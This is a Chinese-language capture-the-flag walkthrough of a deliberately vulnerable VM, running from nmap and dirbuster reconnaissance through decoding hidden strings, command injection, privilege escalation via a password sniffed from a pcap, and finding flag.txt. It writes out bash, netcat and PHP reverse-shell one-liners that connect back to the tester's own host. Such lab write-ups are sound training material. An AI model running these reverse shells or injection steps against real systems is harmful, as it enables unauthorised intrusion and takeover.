首先整理一下整條滲透測(cè)試的思路
信息收集,可以分為四方面
第一點(diǎn)主要是域名的whois信息,獲取注冊(cè)人的郵箱,電話等等
第二點(diǎn)主要是DNS信息,traceroute信息,nslookup可以收集dns的這些信息內(nèi)容,或者dig也行.
第三點(diǎn)主要是Google hacking,利用一些語法來搜索相關(guān)站點(diǎn)的信息,例如site: sina.com,例如inurl:sina.cn等等
第四點(diǎn)主要來自端口掃描,目錄掃描等,例如利用nmap掃描端口的信息,利用dirbuster爆破目錄等,收集目標(biāo)的端口信息以及目標(biāo)的隱藏目錄等等.
因此首先我們對(duì)目標(biāo)進(jìn)行信息收集,由于是自己搭建的環(huán)境,運(yùn)行在vm上面,所以沒有對(duì)應(yīng)域名,whois查詢以及DNS信息查詢就不需要了,然后就是Google hacking的信息也是找不到什么的,所以直接上nmap以及dirbuster試試.
<code>
sudo map -p 1-65535 -sV -oN 10.10.10.139.xml 10.10.10.139
</code>
然后如果nmap啟動(dòng)了全端口掃描的話,掃描就會(huì)變得很慢,目前看來沒啥好的解決方法,我看他們都是使用 -T4設(shè)置線程來提高速度而已.這里讓我們等一下....
好吧,接著我把結(jié)果貼出來一下,nmap掃描的結(jié)果如下:
<code>
Nmap 7.40 scan initiated Fri Sep 14 12:03:15 2018 as: nmap -p 1-65535 -sV -oN 10.10.10.139.xml 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.0019s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
MAC Address: 00:0C:29:0B:66:96 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Fri Sep 14 12:03:50 2018 -- 1 IP address (1 host up) scanned in 34.32 seconds
</code>
這樣的話我們就可以得到信息,該機(jī)器在33447端口上面開放了33447端口,運(yùn)行著apache
httpd 服務(wù),并且運(yùn)行在ubuntu上面.
這里直接上CVE官網(wǎng)直接找該版本Apache 漏洞,看看有沒有.貼一下CVE的結(jié)果如下:
可以看到下面的都是2.4.10之前版本的漏洞,跟2.4.10相關(guān)的只有前兩個(gè),第二個(gè)根據(jù)描述是拒絕服務(wù)的,這里就不探索該漏洞了,畢竟是要沖著getshell去的男人.[手動(dòng)Dog臉]
然后就是上cnnvd直接看一下第一個(gè)漏洞描述,如下:
可以發(fā)現(xiàn)這是一個(gè)繞過權(quán)限訪問限制漏洞,但是沒告訴我們是繞過哪些限制以及exp,那就上exploit-db.com搜一下,But nothing to found....so, this way is blocked.
然后先說一下kali里面字典的地址,常用字典的位置在/root/usr/share/wordlists下面
在kali里面輸入dirbuster -u url就可以啟動(dòng)owasp dirbuster,如下:
然后坐等目錄爆破結(jié)果.爆破的時(shí)間實(shí)在是太久了,所以先看看別的方面吧.
B:漏洞挖掘
漏洞挖掘的話,就是直接先上掃描器,注意要借助代理,但是這個(gè)沒啥技術(shù)含量,這里就不演示了.
然后是直接訪問頁面,很自然打開F12查看源代碼,如下:
可以看到右邊有一串莫名奇妙的16進(jìn)制字符串,直接上https://www.sojson.com轉(zhuǎn)換,如下:
d293LmpwZw==這是其對(duì)應(yīng)的ascii碼,然后就是這里后面的==讓我聯(lián)想到所謂的base64編碼的補(bǔ)全,然后嗒然發(fā)現(xiàn)原來base64可以不是32或者64位的,反正解碼出來就是wow.jpg,
看到這里我想起那個(gè)dirbuster剛好掃出了images的狀態(tài)碼為403的目錄,直接試一下可以看到
被嘲諷了一波...看到這里我想起圖片隱寫,直接扔binwalk分析一波.但是沒發(fā)現(xiàn)啥,說明這圖片純粹是嘲諷一波(怎么可能),所以直接用gedit打開一下看看,結(jié)果在圖片編碼尾巴發(fā)現(xiàn)一串字符串:37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34,看到這個(gè)莫名熟悉,想起好像以前ctf好像做過這個(gè),直接扔python里面,調(diào)用replace方法將":"給替換成無符號(hào),那就得到一大串字符串,不出意外一般就是16進(jìn)制編碼了,畢竟16進(jìn)制是最隨意的,沒啥特定格式,所以直接扔16進(jìn)制解碼如下:
7aee0f6d588ed9905ee37f16a7c610d4,這模樣很想md5,所以直接拿cmd5試下,可以解碼如下:
63425.....代表毛線???唔知道系咩啊~只能等后邊慢慢試下嘍.
然后到這一步就沒得做了,只能等目錄爆破結(jié)果的信息,畢竟漏掃以及nmap掃描都沒啥好的發(fā)現(xiàn),然后可以發(fā)現(xiàn)掃結(jié)果如下:
二級(jí)目錄展示如下所示:
這里可以按照他的目錄打開他的includes/functions.php等各個(gè)文件,會(huì)發(fā)現(xiàn)functions.php是空的,查看過F12也是這個(gè)結(jié)果,然后index.php是一個(gè)登錄界面,如下:
然后可以發(fā)現(xiàn)是一個(gè)登錄界面,使用post方法,用sha512做了密碼的哈希,然后
這里的想法是可以嘗試爆破以及注入,但是沒啥資料可以生成特定字典,注入的話只能試試那個(gè)登錄郵箱名,嘗試以后發(fā)現(xiàn)沒啥注入點(diǎn).
所以先看看別的頁面,其他掃出來結(jié)果如下所示:
這里有幾個(gè)可以看看的目錄,分別是cake.php,include.php,hacked.php,下面分別看看這幾個(gè)頁面,首先是cake.php,如下:
cake.php打開以后就是一個(gè)簡(jiǎn)單的靜態(tài)頁面,直接上f12看下,如下:
可以看到title里面有一個(gè)/Magic_Box,推測(cè)是目錄名稱,因此可能可以直接往/Challenge/Magic_Box里面再爆破一波,先扔dirbuster里面試下.
然后是hacked.php,發(fā)現(xiàn)打開是一個(gè)輸入id的頁面,然后直接輸入63425(前面的數(shù)字,啥都沒發(fā)生)
然后就是include.php,打開發(fā)現(xiàn)是一個(gè)文件包含頁面,然后沒回顯,試下
發(fā)現(xiàn)隱藏在源碼里面了,然后就是試下遠(yuǎn)程文件包含,發(fā)現(xiàn)無法包含,那只能用于看下敏感文件,然后源碼里面發(fā)現(xiàn)一串16進(jìn)制0x5933566a4c6e4a34626e413d,16轉(zhuǎn)字符串,再轉(zhuǎn)換base32后如右:cuc.rxnp,google后沒發(fā)現(xiàn)沒有價(jià)值的信息,所以又是個(gè)沒用的信息.
然后回dirbuster看爆破結(jié)果
發(fā)現(xiàn)該目錄下有幾個(gè)文件,command.php,low.php.low.php沒發(fā)現(xiàn)啥內(nèi)容,最后那個(gè)是跳轉(zhuǎn)到登錄界面的.
看command.php,這個(gè)存在命令注入漏洞,可以直接注入系統(tǒng)命令.
既然存在命令注入,那就可以好好利用了.
存在命令注入,那就可以進(jìn)行shell反彈嘗試,可以試一波.
先在自己終端開啟nc -l 4567,然后直接上那個(gè)bash shell反彈,命令如下:
bash -i >& /dev/tcp/192.168.64.1/4567 0>&1結(jié)果失敗了
接著試下netcat反彈shell,命令如下:
nc -e /bin/bash -d 192.168.64.1 4567,結(jié)果也失敗了,
因?yàn)槟繕?biāo)是php環(huán)境,可以試下php反彈shell,如下
php -r 'sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
可以看到反彈成功(這里發(fā)現(xiàn)反彈shell的姿勢(shì)水很深,找時(shí)間一起整理一下!!!)
拿到shell就是嘗試提權(quán)操作,發(fā)現(xiàn)失敗,回顯說:su: must be run from a terminal
這里用到一個(gè)提權(quán)的技巧,可以使用python來調(diào)用本地shell,把bash路徑寫入到python文件里面,然后直接運(yùn)行py文件就可以了.命令如下:
這里說一下,pty是用來處理偽終端命令的操作模塊,spawn是用來產(chǎn)生一個(gè)進(jìn)程汰蓉,并將其控制終端與當(dāng)前進(jìn)程的標(biāo)準(zhǔn)io連接.
接下插卡看一下那個(gè)cat /etc/passwd文件,文件里面第一列是有關(guān)一些用戶名,因此直接整理看了一下有三個(gè)要注意的用戶,root,acid,saman,然后看一下acid用戶,直接find命令找一下該用戶相關(guān)的文件,命令如下:
find / -user acid 2>/dev/null
可以看到給了我們一個(gè)提示的pcapng流量文件,直接scp過來后打開流量文件,跟蹤tcp流量流,發(fā)現(xiàn)saman的密碼直接明文傳輸了.
密碼是1337hax0r,那就可以直接su了.
提權(quán)了以后再直接升到sudo su root權(quán)限,密碼同樣
然后就是直接使用find命令,查找其中的flag.txt,這條命令可以學(xué)起來:
find / -name flag.txt,如下:
至此結(jié)束.
整理一下思路:
1.首先是自己靶機(jī),沒得做信息收集,所以直接上nmap和dirbuster,nmap掃描出來的結(jié)果沒啥好用的,dirbuster暴露出來一些目錄
2.在爆破粗來的一級(jí)目錄下有一些頁面,點(diǎn)進(jìn)去查看源代碼有一些彩蛋,
3.根據(jù)其中一個(gè)暴露出來的頁面提示,進(jìn)行二次目錄爆破.
4.得到命令注入漏洞以后,直接根據(jù)命令注入漏洞寫shell,可以嘗試bash shell,netcat shell,不行就直接php寫shell,各種語言都有對(duì)應(yīng)的寫shell的方法.
5.獲得shell以后,使用python pty模塊獲得終端,然后查看有哪些用戶.
6.根據(jù)用戶相關(guān)文件查看,獲得提示流量文件
7.根據(jù)流量文件獲取登錄密碼,直接提升到root權(quán)限.
8.使用find命令查找文件,獲得flag.txt
What I learn most in this practice is dirbuster, it's real useful.
最后靶機(jī)下載連接為:https://pan.baidu.com/s/1iLFMXW6G2sByyQL4H577VQ
參考連接:https://www.anquanke.com/post/id/105462